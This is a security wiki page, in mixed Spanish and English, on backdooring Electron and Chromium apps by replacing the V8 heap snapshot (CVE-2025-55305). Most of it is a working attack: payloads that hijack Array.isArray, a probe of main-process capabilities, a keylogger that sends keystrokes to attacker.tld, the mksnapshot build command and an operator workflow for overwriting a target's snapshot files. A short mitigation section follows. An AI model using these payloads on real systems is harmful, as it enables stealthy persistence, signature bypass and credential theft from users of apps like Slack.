Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al arrancar (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los integrity fuses de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las verificaciones de OS code-signing. Como resultado, reemplazar el snapshot en una instalación escribible por el usuario permitía ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Detección del proceso main: globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso main.
|
||||
- Detección del navegador/renderer: globales exclusivos del navegador como alert están disponibles al ejecutarse en un contexto de documento.
|
||||
|
||||
Ejemplo de gadget que sondea las capacidades de Node del proceso main una vez
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC de robo de datos en Renderer/browser-context (p. ej., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Flujo de trabajo del operador
|
||||
1) Escribe payload.js que sobrescriba un builtin común (e.g., Array.isArray) y, opcionalmente, bifurque por isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Sobrescribe el/los archivo(s) snapshot de la aplicación objetivo:
|
||||
- v8_context_snapshot.bin (siempre usado)
|
||||
- browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||
4) Lanza la aplicación; el gadget se ejecuta cada vez que se usa el builtin elegido.
|
||||
|
||||
Notas y consideraciones
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario típicamente sobrevive a reinicios de la app y parece una app legítima firmada.
|
||||
- Navegadores Chromium: El mismo concepto de manipulación se aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
|
||||
|
||||
Detección y mitigaciones
|
||||
- Trata los snapshots como contenido ejecutable e inclúyelos en la aplicación de controles de integridad (CVE-2025-55305 fix).
|
||||
- Prefiere ubicaciones de instalación escribibles solo por administradores; establece una línea base y monitorea hashes para v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
|
||||
- Detecta sobrescrituras de builtin en tiempo de ejecución temprano y cambios inesperados en snapshots; alerta cuando snapshots deserializados no coinciden con los valores esperados.
|
||||
|
||||
## **Referencias**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user